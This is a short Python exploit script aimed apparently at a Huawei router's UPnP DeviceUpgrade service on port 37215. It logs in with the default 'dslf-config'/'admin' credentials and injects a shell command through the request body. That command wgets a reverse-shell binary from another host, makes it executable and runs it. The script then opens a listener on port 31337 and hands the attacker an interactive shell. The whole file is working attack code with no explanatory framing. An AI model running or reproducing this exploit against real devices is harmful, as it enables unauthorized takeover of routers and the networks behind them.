#!/usr/bin/python3 import requests from requests.auth import HTTPDigestAuth from pwn import * from threading import Thread cmd = ';wget http://192.168.115.129/reverse_shell;chmod 777 reverse_shell;./reverse_shell;' #download file, authorized and execute assert(len(cmd) < 255) data = "\n \n \n " + cmd + "\nHUAWEIUPNP\n\n \n " url = "http://192.168.115.130:37215/ctrlt/DeviceUpgrade_1" #the router ip and port def attack(): try: requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=data) except Exception as e: print(e) thread = Thread(target=attack) thread.start() io = listen(31337) io.wait_for_connection() io.interactive() thread.join()